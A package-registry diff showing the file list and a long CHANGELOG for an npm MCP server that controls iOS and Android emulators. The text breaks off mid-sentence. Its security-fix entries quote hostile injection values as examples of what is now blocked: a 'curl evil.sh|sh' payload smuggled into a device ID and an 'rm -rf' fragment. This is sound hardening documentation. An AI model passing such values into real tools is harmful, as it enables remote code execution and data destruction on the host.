@mmerterden/multi-agent-toolkit-mcp 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/CHANGELOG.md +871 -0
  2. package/LICENSE +21 -0
  3. package/README.md +358 -0
  4. package/README.tr.md +358 -0
  5. package/index.js +1725 -0
  6. package/package.json +89 -0
  7. package/tools/crash-logs/index.js +29 -0
  8. package/tools/design-check/content-cardinality.js +204 -0
  9. package/tools/design-check/geometry.js +140 -0
  10. package/tools/design-check/index.js +219 -0
  11. package/tools/design-check/mock-detect.js +213 -0
  12. package/tools/design-check/report.js +596 -0
  13. package/tools/design-check/scan.js +91 -0
  14. package/tools/design-check/scenario-inventory.js +598 -0
  15. package/tools/design-check/visual-compare.js +961 -0
  16. package/tools/ios-app-store-audit/context.js +181 -0
  17. package/tools/ios-app-store-audit/data/apple-required-sdks.json +32 -0
  18. package/tools/ios-app-store-audit/data/debug-tools-blocklist.json +133 -0
  19. package/tools/ios-app-store-audit/index.js +164 -0
  20. package/tools/ios-app-store-audit/models.js +57 -0
  21. package/tools/ios-app-store-audit/rules/asset-validation.js +72 -0
  22. package/tools/ios-app-store-audit/rules/binary-size.js +70 -0
  23. package/tools/ios-app-store-audit/rules/code-signing.js +95 -0
  24. package/tools/ios-app-store-audit/rules/dead-reference.js +131 -0
  25. package/tools/ios-app-store-audit/rules/debug-tool-leak.js +185 -0
  26. package/tools/ios-app-store-audit/rules/duplicate-resource.js +130 -0
  27. package/tools/ios-app-store-audit/rules/embedded-sdk.js +126 -0
  28. package/tools/ios-app-store-audit/rules/entitlement.js +105 -0
  29. package/tools/ios-app-store-audit/rules/extension-signing.js +105 -0
  30. package/tools/ios-app-store-audit/rules/info-plist.js +158 -0
  31. package/tools/ios-app-store-audit/rules/ipv6-compliance.js +101 -0
  32. package/tools/ios-app-store-audit/rules/privacy-manifest.js +121 -0
  33. package/tools/ios-app-store-audit/rules/production-hygiene.js +237 -0
  34. package/tools/ios-app-store-audit/rules/provisioning-profile.js +127 -0
  35. package/tools/ios-app-store-audit/rules/required-reason-api.js +123 -0
  36. package/tools/ios-app-store-audit/rules/sdk-floor.js +104 -0
  37. package/tools/ios-app-store-audit/rules/swift-abi.js +64 -0
  38. package/tools/ios-app-store-audit/rules/team-id.js +62 -0
  39. package/tools/ios-testflight/index.js +489 -0
  40. package/tools/ui-inspect/index.js +57 -0
  41. package/ui-tree-dumper.swift +122 -0
package/CHANGELOG.md ADDED
@@ -0,0 +1,871 @@
1
+ # Changelog
2
+
3
+ All notable changes to `@mmerterden/multi-agent-toolkit-mcp` (formerly `@mmerterden/dev-toolkit-mcp`) are documented here.
4
+
5
+ Format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); the project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6
+
7
+ Consumers pin minimum versions of this server (the multi-agent pipeline declares
8
+ per-tool minimums), so version discipline matters here:
9
+
10
+ - **Major** - a tool is removed or renamed, or an input schema stops accepting what it used to.
11
+ - **Minor** - a new tool, or a new optional input on an existing tool.
12
+ - **Patch** - fixes, docs, packaging, annotations, dependency bumps.
13
+
14
+ Releases before this file exists are recorded in the git tags and commit history.
15
+
16
+ ---
17
+
18
+ ## Unreleased
19
+
20
+ ## 2.26.0
21
+
22
+ Security-hardening release from a multi-agent refactor audit. No tool added or
23
+ removed (still 83); input handling is tightened but stays backward-compatible.
24
+
25
+ - **CallTool boundary now validates arguments against each tool's inputSchema.**
26
+ The low-level MCP Server never enforced the declared `type`/`enum`/`required`,
27
+ so a string reached a handler that interpolated it as a number - the root of
28
+ the shell-injection class below. Validation is lenient-but-safe: a numeric
29
+ string like `"50"` is still accepted (callers have always sent numbers that
30
+ way) and only a genuinely non-numeric value like `"50; rm -rf"` is rejected,
31
+ so no legitimate caller breaks.
32
+ - **Command-injection sites closed.** `android_logcat` lines and
33
+ `ios_status_bar` battery_level/time are sanitized via `num()`/`shq()`;
34
+ `ios_archive_audit`, `android_apk_audit`, the app-store-audit rules, and the
35
+ design-check PDF path now single-quote every caller-derived path with `shq()`
36
+ (double quotes do not contain `$( )`). `ios_xcodebuild` `extra_args` rejects
37
+ shell metacharacters. New gate 14 fails the build on any double-quoted
38
+ interpolation inside a shell command template, so this cannot regress.
39
+ - **Path traversal:** a relative output filename that escapes its base directory
40
+ (e.g. `../../.zshrc`) is refused.
41
+ - **Annotations:** `android_install_apk` and `ios_add_media` are marked
42
+ destructive; `agent_run_steps` is marked open-world (it dispatches web steps).
43
+
44
+ ---
45
+
46
+ ## 2.25.0
47
+
48
+ 83 tools (was 80).
49
+
50
+ ### Added
51
+
52
+ - `ios_record_video` and `android_record_screen` actually record. Both previously
53
+ returned a literal "Run: ..." instruction for the caller to execute by hand. Now
54
+ `action:"start"` spawns the recorder (`simctl io recordVideo` / `adb shell
55
+ screenrecord`) in the background with PID tracking and returns immediately;
56
+ `action:"stop"` interrupts it (SIGINT, so the mp4 container is finalized), pulls
57
+ the file off the device on Android, and returns the local path. One recording
58
+ per device; a stop with nothing running is an error.
59
+ - `ios_list_crashes` - recent crash reports from the host's
60
+ `~/Library/Logs/DiagnosticReports` (where simulator app crashes land), filterable
61
+ by process name and age, bounded by `limit`.
62
+ - `android_list_crashes` - the adb crash log buffer (`logcat -b crash -d`),
63
+ tail-bounded by `lines`.
64
+ - `android_set_orientation` - portrait/landscape via `accelerometer_rotation 0` +
65
+ `user_rotation`. No iOS counterpart: simctl exposes no rotation lever, so an
66
+ `ios_set_orientation` is deliberately absent rather than fake.
67
+ - `path` param on `android_screenshot` and `web_screenshot`, matching
68
+ `ios_screenshot`: write the PNG to a file and return its location instead of a
69
+ base64 payload per capture.
70
+ - `path` param on `ios_get_ui_tree` and `android_get_ui_tree` - the raw dump goes
71
+ to a file instead of inlining an unbounded tree - plus `filter:"interactive"` on
72
+ the Android side: a compact JSON list of just the actionable elements (class,
73
+ text, resource-id, content-desc, tap-ready center coordinates).
74
+ - `resource_link` content items (2025-06-18 MCP spec) on every file-returning
75
+ result: screenshots written to a path, the `ios_xcodebuild` log file, the
76
+ `ios_visual_diff` diff image, UI tree dumps, and the new recordings. The text
77
+ content is unchanged; hosts that ignore resource links see no difference.
78
+ - Progress notifications and cancellation on the long-runners. `ios_xcodebuild`,
79
+ `ios_export_ipa`, `ios_testflight_validate` and `android_install_apk` now run on
80
+ async `spawn`/`execFile` instead of `execSync`, so the server keeps answering
81
+ requests mid-build; a client `progressToken` gets heartbeat
82
+ `notifications/progress` frames (elapsed time, last xcodebuild output line), and
83
+ the host's cancellation signal kills the child.
84
+
85
+ ### Fixed
86
+
87
+ - **Command injection via `device_id`** - `adbFlag()` interpolated the id into
88
+ shell strings with no validation, so a model-controlled value like
89
+ `"x; curl evil.sh|sh;"` executed on the host; `android_list_crashes` is even
90
+ annotated read-only, so a host trusting `readOnlyHint` could run it unattended.
91
+ Serials are now validated inside `adbFlag()` itself (covering every call site),
92
+ with a charset that still admits TCP endpoints (`ip:port`). `iosDevice()` got
93
+ the same treatment - a caller-supplied UDID was interpolated bare into
94
+ simctl/idb strings the same way. Regression-tested over a real stdio handshake:
95
+ a metacharacter `device_id` is refused, not executed.
96
+ - `spawnCollect` accumulated child output without a cap; a long verbose
97
+ xcodebuild could exceed V8's max string length, and that throw fires inside a
98
+ stream 'data' handler - outside the CallTool try/catch - killing the whole
99
+ stdio server. Output is now capped at the 64MB the replaced execSync enforced
100
+ via maxBuffer, keeping the tail; truncation is noted in the log and result.
101
+ - `android_record_screen` stop deleted the device-side file (and the recording
102
+ registry entry) before checking the pull succeeded, so a transient pull
103
+ failure lost the recording irrecoverably. The remote rm and the registry
104
+ release now happen only after a confirmed pull; a failed stop keeps both and
105
+ says to call stop again to retry.
106
+ - Recorder children are SIGINTed (which finalizes the files) on SIGTERM/SIGINT
107
+ instead of being orphaned: `simctl io recordVideo` has no time limit, so an
108
+ orphan kept writing until the disk filled.
109
+ - An Android recording that hit screenrecord's 180s cap left its registry entry
110
+ looking active, so a later start wrongly reported "a recording is already
111
+ running". The entry is marked exited on child close, and start now answers
112
+ "the previous recording finished but was not collected" instead.
113
+ - `android_get_ui_tree` with both `path` and `filter:"interactive"` persisted
114
+ the raw XML while returning the filtered JSON, attaching a resource_link to
115
+ content the tool never showed. The persisted file now matches the returned
116
+ text; covered by a fake-adb integration test.
117
+ - The progress heartbeat in `ios_export_ipa` and `ios_testflight_validate` is
118
+ stopped in a finally block; a rejection used to leave the 10s setInterval
119
+ emitting progress frames forever.
120
+ - `ios_record_video` stop distinguishes simctl's clean exit from the 8s
121
+ timeout: the file exists from the moment recording begins, so existence alone
122
+ never proved finalization. The timeout branch says the file may still be
123
+ finalizing. Start also validates the output directory upfront, like every
124
+ other path-accepting tool, instead of failing confusingly at stop time.
125
+ - `ios_get_ui_tree` validates the `path` parent directory before the
126
+ up-to-15s AX dump, matching its Android sibling.
127
+ - `android_set_orientation` assumed portrait-natural devices, inverting the
128
+ result on landscape-natural tablets. Natural orientation is now detected via
129
+ `wm size` (physical size is rotation-independent) and the `user_rotation`
130
+ mapping flipped accordingly.
131
+ - `npm audit --omit=dev` is clean again: `@modelcontextprotocol/sdk` ^1.30.0 plus
132
+ refreshed transitive pins clear the fast-uri host-confusion advisory (high) and
133
+ the hono/`@hono/node-server` advisories (moderate).
134
+
135
+ ### Changed
136
+
137
+ - `pixelmatch` 6.0.0 -> ^7.2.0. Same call signature; 7.x compares in OKLab and
138
+ blends semi-transparent pixels against a checkerboard by default, which does not
139
+ affect opaque screenshots.
140
+
141
+ ---
142
+
143
+ ## 2.24.2
144
+
145
+ ### Added
146
+
147
+ - Turkish README (`README.tr.md`), cross-linked from `README.md`.
148
+
149
+ ### Fixed
150
+
151
+ - Publishing targets the public npm registry, so the `npx` command the pipeline installer
152
+ registers can actually resolve. `publishConfig.registry` pointed at GitHub Packages,
153
+ which answers **401 to unauthenticated reads even for public packages**, so
154
+ `npx -y @mmerterden/dev-toolkit-mcp` returned E404 for everyone whose `~/.npmrc` did not
155
+ redirect the `@mmerterden` scope. Registration itself never failed - it only writes host
156
+ config - so the break surfaced later, as a missing tool the first time a skill reached
157
+ for one. Now `registry.npmjs.org` with `access: public`, matching the pipeline package.
158
+ Enforced upstream by the pipeline's `smoke-mcp-package-resolvable.sh`, which fails when
159
+ the registered command's registry and this package's publish registry disagree.
160
+ - README still described this package as private on GitHub Packages, requiring a
161
+ Classic PAT and a `~/.npmrc` scope override - stale since the fix above moved
162
+ publishing to the public registry. Removed the Prerequisites section (Option B/`npx`
163
+ needs none), and replaced the GitHub-Packages-specific `E401`/`E404` troubleshooting
164
+ entries with the actual current failure mode: a leftover `@mmerterden:registry`
165
+ override in `~/.npmrc` redirecting this package to GitHub Packages by mistake.
166
+
167
+ ---
168
+
169
+ ## 2.24.1
170
+
171
+ ### Added
172
+
173
+ - Gate 13: Copilot CLI is now an exercised host, not a documented one. It was listed as
174
+ supported for months while the pipeline installer never registered this server there,
175
+ so every skill that reaches for a tool - `design-check`, the `ios_*` / `android_*`
176
+ simulator calls, the archive audits - had nothing to call on that host. The gate walks
177
+ the real round-trip: add, config landed, duplicate-add behaviour, remove.
178
+ - The duplicate-add assertion pins a behavioural difference the installer depends on:
179
+ `codex mcp add` replaces an existing entry and exits 0, while `copilot mcp add`
180
+ refuses and exits 1 with `already exists`. Treating that exit code as a failure made a
181
+ correct registration report as "skipped MCP registration (Command failed)".
182
+
183
+ ## 2.24.0
184
+
185
+ TestFlight pre-submission validation: ask Apple before Apple asks you.
186
+
187
+ ### Added
188
+
189
+ - **`ios_testflight_validate`** - wraps `xcrun altool --validate-app`. This is the
190
+ authoritative pre-submission gate and it is complementary to, not a replacement
191
+ for, `ios_app_store_audit`. The static audit reads the archive on disk, so it
192
+ structurally cannot know whether the bundle ID is registered, whether the
193
+ embedded profile matches the App Store Connect app record, whether this
194
+ version+build pair was already used, or whether an entitlement is actually
195
+ provisioned for the App ID. Only Apple's server answers those.
196
+ Returned ITMS codes are mapped onto the App Store rule each one implies
197
+ (`ITMS-90683` → purpose strings / 5.1.1, `ITMS-91053` → privacy manifest
198
+ required-reason, `ITMS-90046` → entitlement not permitted by the profile, ...),
199
+ with Apple's own message passed through verbatim for anything unmapped rather
200
+ than guessed at.
201
+ - **`ios_export_ipa`** - `.xcarchive` → signed `.ipa` via
202
+ `xcodebuild -exportArchive`, generating the `exportOptions.plist` from
203
+ arguments so callers do not hand-maintain one. A run that exits 0 without
204
+ producing an `.ipa` is reported as a failure, because xcodebuild does that.
205
+
206
+ ### Fixed
207
+
208
+ - **`design_scenario_inventory` produced a different answer for the same input.**
209
+ Target discovery walks the filesystem and directory read order is not stable
210
+ across runs, and three things derived their order from it: the `byKind` /
211
+ `byCost` count maps (insertion order, so `JSON.stringify` differed), which
212
+ relaunch claimed a shared in-app rider (first match won), and the order riders
213
+ were listed within a batch. The release gate went red roughly one run in three
214
+ with no code change - the shape of defect that trains you to re-run instead of
215
+ to look. Count maps are now emitted with sorted keys, relaunch iteration is
216
+ canonical, and rider ids are sorted within each batch.
217
+ - **Riders now ride with the relaunch that can actually drive their screen.**
218
+ Falling out of the fix above: two relaunch targets can match the same screen
219
+ while only one carries a launch argument, and the undrivable one could win the
220
+ riders purely by iterating first - yielding a plan that cannot be executed,
221
+ because the app never reaches the mock state those riders need. Assignment
222
+ scores an exact screen match above a substring one, then a relaunch with a
223
+ launch argument above one without, then canonical order. Substring pairing
224
+ ("Apis Form" ↔ "APIS") still works; it just no longer outranks an exact match.
225
+ - New `plan-determinism.test.mjs` permutes `buildPlan`'s input across 40 seeds
226
+ and asserts the plan is byte-identical. A pass-count is not proof of order
227
+ independence: this property test caught residual rider-ordering drift on its
228
+ first run, after 44 consecutive green runs of the existing suite had missed it.
229
+ - `scripts/gates.sh` no longer walks `.worktrees`. A git worktree is a separate
230
+ checkout of another branch, so its suites were being run against this tree and
231
+ gate 10c demanded that this tree's `npm test` name files that only exist on
232
+ another branch - a failure no change here could fix.
233
+
234
+ ### Notes
235
+
236
+ - **Three-tier auth, and a skipped gate never reads as a pass.** Tier 1 is an App
237
+ Store Connect API key; tier 2 is an Apple ID plus an app-specific password,
238
+ which matters because creating an API key needs an Admin or App Manager role
239
+ that many developers on a corporate team do not have, while any Apple ID holder
240
+ can generate an app-specific password. With neither, the tool returns
241
+ `verdict: "SKIPPED"` and the reason. "Apple did not object" and "Apple was
242
+ never asked" must not render the same way.
243
+ - **Secrets are referenced, never passed.** altool's `-p @keychain:<item>` and
244
+ `-p @env:<VAR>` indirections are the only forms used, so a password cannot
245
+ leak through the process list or through an error that echoes the command. A
246
+ unit test asserts no secret reaches argv.
247
+ - **A literal password is refused, not used.** Passing one would put the secret in
248
+ argv; doing it silently would be worse, because the caller would get no signal
249
+ that their credential was exposed. The error names the two safe forms and the
250
+ one-off `altool --store-password-in-keychain-item` command that creates the
251
+ keychain item.
252
+ - **A missing `password_env_var` is caught before altool sees it.** `-p @env:MISSING`
253
+ fails deep inside delivery with something that reads like a wrong password,
254
+ which sends you to rotate a credential that was fine.
255
+ - **`-allowProvisioningUpdates` is off by default** on `ios_export_ipa`. That flag
256
+ lets xcodebuild register devices and create or modify provisioning profiles in
257
+ the developer account. A tool whose job is to check a build must not silently
258
+ alter the account the build belongs to, so it is opt-in via
259
+ `allow_provisioning_updates`.
260
+ - Neither tool is in `READ_ONLY_TOOLS`: `ios_export_ipa` writes files and
261
+ `--validate-app` uploads the binary to Apple, so both require approval rather
262
+ than running unattended.
263
+ - The generated `exportOptions.plist` temp dir is removed after a successful
264
+ export and kept (and reported) after a failure, so a failed run stays
265
+ inspectable without accumulating one temp dir per export forever.
266
+ - Tool count 78 → 80 (iOS 35 → 37, Store Compliance 3 → 5).
267
+
268
+ ## 2.23.0
269
+
270
+ Documentation that claimed more than it checked, and the gate that let it.
271
+
272
+ **Editor support is now stated as verified vs compatible.** The README opened with
273
+ "Works with Claude Code, Copilot CLI, Cursor, Antigravity, and VS Code Copilot Chat
274
+ - the multi-agent-pipeline's full-orchestration targets". That parenthetical stopped
275
+ being true in pipeline v10.7.0, when the Cursor / Antigravity / Codex / Copilot Chat
276
+ adapters were deleted; the pipeline has targeted Claude Code and Copilot CLI only
277
+ ever since.
278
+
279
+ The list is not simply wrong, though: this is a plain stdio MCP server, so it does
280
+ run in any MCP client, and the config snippets for those clients stay. What was
281
+ wrong was presenting five hosts as supported when the gates exercise two. That
282
+ distinction has a price tag now: 2.20.0 and 2.21.0 shipped an illegal `outputSchema`
283
+ on the first tool, so Claude Code rejected the entire `tools/list` and served zero
284
+ of the 78 - in the primary host, for two releases, with every gate green.
285
+
286
+ **Gate 3b: per-family counts, not just the headline.** Gate 3 checked the two
287
+ headline numbers and nothing else, so every subcount drifted behind a green check:
288
+
289
+ | README said | reality |
290
+ |---|---|
291
+ | Device Control (42 tools) | 58 |
292
+ | Store Compliance (4 tools) | 3 |
293
+ | iOS Tools (34), diagram (31) | 35 |
294
+ | 5 categories summing to 57 | 78 |
295
+
296
+ The last row is the interesting one: the whole `design_*` family, six tools, was
297
+ missing from the category list entirely, which is why the listed categories could
298
+ never sum to the advertised total. A gate that verifies one number while its
299
+ components drift reports an agreement it never checked.
300
+
301
+ 3b matches each `### <Family> Tools (N)` section against the served family count
302
+ and requires the category bullets to sum to the total, so an unlisted family fails
303
+ instead of hiding in the arithmetic. Verified by re-injecting a wrong subcount.
304
+
305
+ All counts corrected, and the Design Audit category added.
306
+
307
+ ## 2.22.0
308
+
309
+ **Fixes a server that Claude Code could not load at all.** `ios_list_devices`
310
+ declared `outputSchema: { type: "array", items: {...} }`. MCP's `structuredContent`
311
+ is an object, so the schema describing it must be `type: "object"`, and the host
312
+ validates the ENTIRE `tools/list` response - so one illegal entry on the FIRST tool
313
+ made all 78 unavailable:
314
+
315
+ ```
316
+ Reconnected to dev-toolkit, but fetching tools failed:
317
+ [{ code: invalid_value, path: [tools, 0, outputSchema, type],
318
+ message: Invalid input: expected "object" }]
319
+ ```
320
+
321
+ `/mcp` showed `dev-toolkit - connected - tools fetch failed`: a connected server
322
+ with zero usable tools. Any pipeline command depending on it (`design-check`,
323
+ `test`, `build-optimize`) halted at its MCP gate.
324
+
325
+ The declaration is removed rather than reshaped. Wrapping the payload as
326
+ `{ devices: [...] }` would have made it legal, but this tool's text output is a
327
+ JSON array that callers parse, so re-shaping it is a breaking change bought for
328
+ structured output nobody requested. Dropping the schema restores a legal
329
+ `tools/list` and leaves the text output byte-identical.
330
+
331
+ **Why no gate caught it.** Gate 9 hand-wrote what it believed the spec allowed:
332
+
333
+ ```js
334
+ if (t.outputSchema.type !== "object" && t.outputSchema.type !== "array")
335
+ ```
336
+
337
+ It explicitly permitted `array`. The gate encoded a wrong belief about the spec and
338
+ then verified the code against that belief, so the code and the gate agreed with
339
+ each other and both disagreed with the client. Gate 9 is now object-only, and new
340
+ **gate 9b** stops asserting beliefs altogether: it pipes the real `tools/list`
341
+ response through `ListToolsResultSchema` from `@modelcontextprotocol/sdk` - the same
342
+ Zod schema the host uses - so the check is authoritative rather than a guess.
343
+ Verified by re-injecting the bad schema: 9b reproduces the host's error verbatim,
344
+ down to the `path` array.
345
+
346
+ ## 2.21.0
347
+
348
+ **Fixture-count noise is demoted, not reported as defects** (`docs/design-check-gaps.md`
349
+ section 1, the item that dominated a real 109-target audit). A live capture is
350
+ compared against a screen frame, and a screen frame carries whatever the mock
351
+ fixture produced: 5 passenger rows in the design against 3 in the app makes every
352
+ container height and every downstream position differ for a reason that is not a
353
+ defect.
354
+
355
+ `tools/design-check/content-cardinality.js` detects a repeated-group count
356
+ difference from the element lists and demotes the geometry findings it explains.
357
+ On by default; `content_cardinality: false` returns the raw findings.
358
+
359
+ Written defensively, because the dangerous direction here is not noise but a
360
+ HIDDEN DEFECT - demote too eagerly and the engine silently stops reporting real
361
+ deviations, invisibly, in the one report whose job is to surface them. Five rules,
362
+ each an explicit test:
363
+
364
+ - nothing is ever DELETED; an affected finding stays with `advisory: true` plus a
365
+ shared `rootCause`, so it renders under the existing "DO NOT CHANGE" group, and
366
+ `contentCardinality.demoted` reports the count - a demotion is never silent;
367
+ - only geometry findings are eligible. Copy, colour, typography, font-family,
368
+ tap-target and missing-element findings are never touched: a row-count
369
+ difference cannot make a colour wrong or a string mistranslated, so it can never
370
+ be the explanation for one;
371
+ - an absent group is NOT a count difference. 1-vs-0 is a missing element, which is
372
+ a real defect and exactly what this must not explain away;
373
+ - only findings AT OR BELOW the first differing group. A count difference shifts
374
+ what follows it, never what precedes it. A finding whose position cannot be
375
+ established keeps full severity - demoting on a guess is the failure mode this
376
+ module must not have;
377
+ - idempotent: an already-advisory or `verified` finding is left byte-identical.
378
+
379
+ The 21 tests cover both directions, with more weight on "must NOT demote" than on
380
+ "must demote". 8 further tests assert the WIRING (the module is imported, the
381
+ detector is called, the demotion is applied after copy comparison so it sees every
382
+ finding, and the opt-out reaches it from the tool args) - a unit-tested module that
383
+ nothing calls is the defect class the sibling pipeline repo just spent a release
384
+ removing.
385
+
386
+ **FIELD VALIDATION PENDING.** The gaps-doc acceptance criterion ("a screen whose
387
+ fixture returns a different row count produces zero geometry findings") needs the
388
+ real module, a live capture and Figma design context to confirm end to end. What
389
+ is proven is the safe direction. Treat the tuning constants as provisional until a
390
+ real run is measured, and check `contentCardinality.demoted` against the 52
391
+ confirmed deviations that audit found before trusting a quieter report.
392
+
393
+ ## 2.20.0
394
+
395
+ **`ios_app_store_audit` has tests.** The 18-rule App Store compliance scanner
396
+ shipped 2,507 lines of rule code with none, while `npm test` ran only the
397
+ design-check suite and gates step 10 globbed for `*.test.mjs`, found exactly one,
398
+ and honestly reported "1 suite passed". An empty `__tests__/fixtures/` directory
399
+ sat beside the rules as evidence that tests had been intended. This is the code
400
+ that decides whether an archive is fit to upload, so a false PASS costs a
401
+ rejection round.
402
+
403
+ 74 tests now cover the dispatcher contract (rule selection, `core` as a strict
404
+ subset of `all`, an unknown rule id selecting nothing rather than falling back to
405
+ the full scan, severity ordering, summary/verdict consistency, and the promise
406
+ that one throwing rule cannot abort the scan) plus per-rule logic against
407
+ synthetic contexts. Three properties are asserted across every rule, each
408
+ protecting against a silent-miss shape the dispatcher permits:
409
+
410
+ - a rule must return an ARRAY - `runAudit` does `if (Array.isArray(out))` and
411
+ otherwise discards the result while still listing the rule in `rulesRun`, so a
412
+ rule returning a bare object reports nothing and looks like a clean pass;
413
+ - a rule must not throw on a sparse context (empty/null `infoPlist`, null
414
+ collections, no executable) - `runAudit` converts a throw into a "tool bug"
415
+ warning that REPLACES whatever that rule would have found;
416
+ - every violation must carry the rule's own `ruleID`, or it is unattributable and
417
+ breaks the documented alphabetical-within-severity sort.
418
+
419
+ **Gates 10b and 10c.** 10b requires every `tools/<dir>/` to carry at least one
420
+ suite, so an untested tool directory is visible instead of being implied as
421
+ covered. 10c requires `npm test` to name every suite on disk: Node 25 rejects
422
+ `node --test tools/` (it resolves the directory as a module), so the script lists
423
+ suites explicitly, and that list would otherwise go stale and hand a contributor
424
+ a false green.
425
+
426
+ **`android_set_locale` verifies instead of asserting.** It already read the locale
427
+ back with `get-app-locales`, but reported the REQUESTED value as fact and put the
428
+ device's answer in a parenthetical. A device that accepted the command and applied
429
+ a different locale, or none, still read as success. It now compares them
430
+ (case-insensitive, and accepting a more specific tag than asked for, so
431
+ `tr` -> `tr-TR` is a match) and returns an error on mismatch.
432
+
433
+ **Dependency audit is an allowlist, not a severity floor.** CI ran
434
+ `npm audit --omit=dev --audit-level=high`. That was right about the two live
435
+ findings and wrong as a policy: it ignores every moderate advisory forever,
436
+ including unrelated future ones that could well be reachable here. The
437
+ justification also lived only in a workflow comment, where nothing could
438
+ invalidate it.
439
+
440
+ `scripts/audit-allowlist.mjs` names each accepted advisory with its reason and
441
+ re-verifies that reason on every run. The current exception is
442
+ `@hono/node-server < 2.0.5` (GHSA-frvp-7c67-39w9), reached transitively through
443
+ `@modelcontextprotocol/sdk`, which pins `^1.19.9`: a path traversal in
444
+ `serve-static` on Windows. The reason it does not apply here is that this server
445
+ is stdio-only, so the gate checks that no shipped source imports an HTTP
446
+ transport, hono, or express - if someone adds a streamable-HTTP transport, the
447
+ exception stops applying on that same run. There is no SDK release that lifts the
448
+ pin (1.29.0 is the latest and still depends on `^1.19.9`), and
449
+ `npm audit fix --force` would downgrade the SDK to 1.24.3. Anything unlisted now
450
+ fails at any severity, an accepted advisory that escalates fails, and a stale
451
+ entry whose advisory is gone fails too.
452
+
453
+ **Stale rule count.** `index.js` and `context.js` said "17-rule" / "17 rules"
454
+ while the registry held 18; the tool descriptor the model reads to choose
455
+ `--rules` said 17 too. Corrected, and two tests now tie the descriptor's
456
+ advertised full-scan and `core` counts to the rules that actually execute.
457
+
458
+ ## 2.19.0
459
+
460
+ First three items off the design-check handoff spec (`docs/design-check-gaps.md`).
461
+
462
+ **section 8 - `design_scenario_inventory` summary mode.** The full payload measured
463
+ 71,196 characters for a 109-target module and exceeded the host's tool-result cap
464
+ on all seven runs of a real audit, forcing a write-to-file round trip every time.
465
+ `summary: true` drops `targets[]`, which is nearly all of the bulk (label, screen,
466
+ driver and a file+line+snippet evidence block per target). Nothing structural is
467
+ lost: `plan[].targetIds` already carries every id in the order it should be driven
468
+ and `groups[].ids` carries the per-screen lists, so a run can be driven entirely
469
+ from the summary and ask for labels and evidence later. `targetsOmitted` and
470
+ `summary: true` are stated explicitly, so a consumer can tell a withheld list from
471
+ a scan that found nothing. Measured on the real module's shape at its reported
472
+ target count: 66,591 characters down to 450.
473
+
474
+ **section 9, second half - `ios_screenshot` gains `path`.** Returning a base64 PNG
475
+ per capture exhausts the caller's context across the 100+ captures an audit takes,
476
+ which is why the motivating run shelled out to `xcrun simctl io` directly. With
477
+ `path` the file is written and only its location comes back. A missing parent
478
+ directory is an error rather than a silent miss.
479
+
480
+ **section 9, first half - the AX-box caveat is now on the tool.**
481
+ `design_ui_geometry` returns accessibility boxes, glyph runs and hit areas, not
482
+ layout containers, so a 247pt design text container measured against its 78pt glyph
483
+ box produces phantom findings. The description says so and points at measuring from
484
+ the pixels instead. Documented rather than changed: returning container-union boxes
485
+ is a real option but it changes what every existing caller receives.
486
+
487
+ Still open from the spec: sections 1, 2, 2a, 3, 4, 5, 6, 6a (component-variant
488
+ comparison, variant previews, per-finding fileKey, typography/colour/copy
489
+ expectations, code location and token snapping) and section 7 (scroll-stitch).
490
+
491
+ ## 2.18.0
492
+
493
+ **A tool name with a valid family prefix but no matching case reported success.**
494
+ Every handler's `default:` arm returns null, and `dispatchStep` / the CallTool
495
+ handler only threw "Unknown tool" for a name matching no prefix at all. So
496
+ `ios_taap`, `design_reprot`, `android_tpa` reached their handler, came back
497
+ null, and were answered to the host as the literal text `"null"` with no
498
+ `isError`. Inside `agent_run_steps` the step was recorded `status: "ok"` and the
499
+ verdict stayed `all_ok`. Same false-success class as the 2.13.0 batch fix, in a
500
+ different place. A null return is now an error at both levels.
501
+
502
+ **outputSchema + structuredContent (spec 2026-07-28).** Nine tools declare an
503
+ output schema and fill `structuredContent` alongside their existing text
504
+ content: the two accessibility audits, the archive and APK audits,
505
+ `ios_list_devices`, `ios_visual_diff`, `android_launch_time`,
506
+ `design_ui_geometry` and `agent_run_steps`. Only shapes read off the return
507
+ statement are declared - `ios_xcresult` (four shapes by mode),
508
+ `ios_app_store_audit`, the delegated `design_*` reports and `web_eval` are
509
+ deliberately left out, because a schema that does not match its payload makes
510
+ the host reject a good result. Text content is unchanged, so a host that
511
+ ignores `structuredContent` sees no difference.
512
+
513
+ **Two new gates.** Gate 8 drives three unknown names through the call and batch
514
+ paths and requires an error on each. Gate 9 requires every tool advertising an
515
+ outputSchema to actually return `structuredContent`, and to keep its text
516
+ content beside it. 14 gates, all green.
517
+
518
+ ## [3.0.0] - 2026-08-22
519
+
520
+ ### Changed
521
+ - **Renamed to `@mmerterden/multi-agent-toolkit-mcp`.** The old name read as internal scaffolding for one pipeline; this server is a standalone MCP over stdio with three runtime dependencies and no coupling to any orchestrator, and the name now says which family it belongs to. Major, because a package rename breaks every consumer that resolves it by name.
522
+ - **The MCP server identity reported over the protocol is now `multi-agent-toolkit-mcp`.** Hosts key their registration off this, so an existing `dev-toolkit` entry does not upgrade in place - it has to be removed and re-added. The pipeline installer does that automatically; a hand-registered client needs `<cli> mcp remove dev-toolkit` once.
523
+ - **`dev-toolkit-mcp` is kept as a second `bin` alias** so a script that invokes the old binary name keeps working through the transition.
524
+ - Package description and keywords lead with what the server does (iOS Simulator, Android Emulator, headless web, 83 tools) rather than with the family it ships in, because that is what someone searching for it will search for.
525
+
526
+ ### Migration
527
+ - `npm i -g @mmerterden/multi-agent-toolkit-mcp` then remove the old registration: `claude mcp remove dev-toolkit` (same for `copilot` / `codex`).
528
+ - `@mmerterden/dev-toolkit-mcp` stays published at 2.26.0 and is deprecated with a pointer to the new name. Nothing is unpublished; a pinned consumer keeps resolving.
529
+
530
+ ## [2.17.0] - 2026-07-26
531
+
532
+ The audit measured geometry only, so it could not answer whether the copy was
533
+ right — and a perceptual diff reporting "these pixels differ" is not an answer.
534
+
535
+ ### Added
536
+
537
+ - **`compareCopy` — copy checked against the design's UX-WRITING ANNOTATION.** The
538
+ authoritative strings are the annotation on the Figma node, not the frame render,
539
+ which is a stale picture of the words. An exact live match is reported as
540
+ verified (so the report shows what was checked, not only what failed), a near
541
+ miss as a copy defect carrying both strings, and a string with no counterpart as
542
+ advisory, because the capture may not show the state that carries it.
543
+
544
+ Matching is one-to-one: without claiming, a single live label is offered as the
545
+ near match for several unrelated design strings and a loose threshold turns "not
546
